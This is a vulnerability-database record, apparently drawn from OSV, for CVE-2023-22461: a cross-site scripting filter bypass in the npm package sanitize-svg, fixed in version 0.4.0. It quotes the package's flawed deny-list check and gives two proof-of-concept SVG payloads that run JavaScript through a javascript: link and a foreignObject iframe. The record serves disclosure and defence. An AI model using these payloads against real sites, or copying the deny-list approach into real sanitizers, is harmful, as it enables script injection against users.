{"id":"CVE-2023-22461","aliases":["GHSA-h857-2g56-468g"],"url":"https://o3.security/vulnerability/CVE-2023-22461","summary":"sanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)","details":"### Impact\nThe *sanitize-svg* package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal `<script>`-tags and on-event handlers were detected:\n```typescript\n[...]\n  const svgEl = div.firstElementChild!\n  const attributes = Array.from(svgEl.attributes).map(({ name }) => name)\n  const hasScriptAttr = !!attributes.find((attr) => attr.startsWith('on'))\n  const scripts = svgEl.getElementsByTagName('script')\n  return scripts.length === 0 && !hasScriptAttr ? svg : null\n[...]\n```\n\nThere are more ways to embed JavaScript in XML files.\n\n**Anchor Tag** (requires user to click link):\n```xml\n<svg viewBox=\"0 0 100 100\" xmlns=\"http://www.w3.org/2000/svg\">\n  <a href=\"javascript:alert(document.domain)\">\n    <text x=\"50\" y=\"50\" text-anchor=\"middle\">Lauritz</text>\n  </a>\n</svg>\n```\n\n**Foreign Object Tag** (no user interaction required):\n```xml\n<svg width=\"500\" height=\"500\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n        <text x=\"20\" y=\"35\">Lauritz</text>\n        <foreignObject width=\"500\" height=\"500\">\n                <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:confirm(document.domain);\" width=\"400\" height=\"250\"/>\n        </foreignObject>\n</svg>\n```\n\nAs a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications. \n\n### Patches\nThis vulnerability was addressed in v0.4.0.\n\n### Workarounds\nN/A","published":"2023-01-04T14:57:04.902Z","modified":"2026-08-12T03:51:26.131385508Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"},"epss":{"score":0.00571,"percentile":0.44631,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"@mattkrick/sanitize-svg","fixedVersion":"0.4.0"}],"fix":{"url":"https://github.com/mattkrick/sanitize-svg/commit/b107e453ede7b58adcccae74a3e474c012eec85d","label":"mattkrick/sanitize-svg@b107e45"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/22xxx/CVE-2023-22461.json"},{"type":"ADVISORY","url":"https://github.com/mattkrick/sanitize-svg/security/advisories/GHSA-h857-2g56-468g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-22461"},{"type":"FIX","url":"https://github.com/mattkrick/sanitize-svg/commit/b107e453ede7b58adcccae74a3e474c012eec85d"},{"type":"PACKAGE","url":"https://github.com/mattkrick/sanitize-svg"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.131385508Z"}}